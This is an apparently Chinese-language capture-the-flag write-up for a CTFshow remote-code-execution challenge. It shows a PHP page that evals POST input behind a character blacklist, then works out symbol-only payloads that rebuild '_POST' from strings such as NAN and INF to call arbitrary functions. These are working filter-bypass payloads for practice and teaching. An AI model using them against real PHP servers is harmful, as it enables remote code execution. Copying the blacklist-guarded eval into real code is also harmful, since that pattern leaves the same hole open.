CTFshow-RCE极限挑战-RCE挑战5

题目代码

<?php
//本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) && strlen($ctfshow) <= 73) {
        if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("Are you hacking me AGAIN?");
        }
    }else{
        phpinfo();
    }
}

要通过POST代码执行,但是过滤非常严,简单写一个PHP脚本跑一下没被过滤的字符,有$()+,./;=[]_ 和一些不可见字符

<?php
for ($i = 0; $i < 256; $i++)
    if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/", chr($i)))
        echo chr($i);

为了代码执行,要通过这些符号创造字母

[]._返回值为字符串Array_,数组与字符串拼接

_/_._返回值为字符串NAN_,非数字开头字符串==0成立,0/0为浮点型NAN,NAN与字符串拼接

(_==_)/_._返回值为字符串INF_,(_==_)==1成立,1/0为浮点型INF,INF与字符串拼接

这里由于字数限制要用代码尽可能短的方法

经检验,构造$_POST[1]($_POST[2]);来执行函数是最短的方式,只有一个POST是不能执行函数和``的

小知识:变量名可以使用不可见字符,如$%80

上payload,要将a替换为不可见字符

$a=(_/_._)[_];     //得到N
$a++;              //O
$_=$a.$a++;        //PO,至于为什么不是OO,原因暂时不明
$a++;$a++;         //Q、R
$_=_.$_.++$a.++$a; //_POST
$$_[a]($$_[_]);

当然这是非预期解,因为第三行机制不明,下面是预期解

根据phpinfo,发现安装了gettext扩展,可以使用_()直接转为字符串,最短payload

$_=_(_/_)[_]; //得到N
$a=++$_;      //O、O
$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);

最后一行分解

$$a[$a=_.++$_.$a[$_++/$_++].++$_.++$_]($$a[_]);
$$a[$a=_P.$a[$_++/$_++].++$_.++$_]($$a[_]);
$$a[$a=_P.$a[P/Q].++$_.++$_]($$a[_]);
$$a[$a=_PO.++$_.++$_]($$a[_]);
$$a[$a=_POS.++$_]($$a[_]);
$$a[$a=_POST]($$a[_]);
$_POST[_POST]($_POST[_]);
posted @ 2022-11-23 15:17  Hacker&Cat  阅读(99)  评论(0编辑  收藏  举报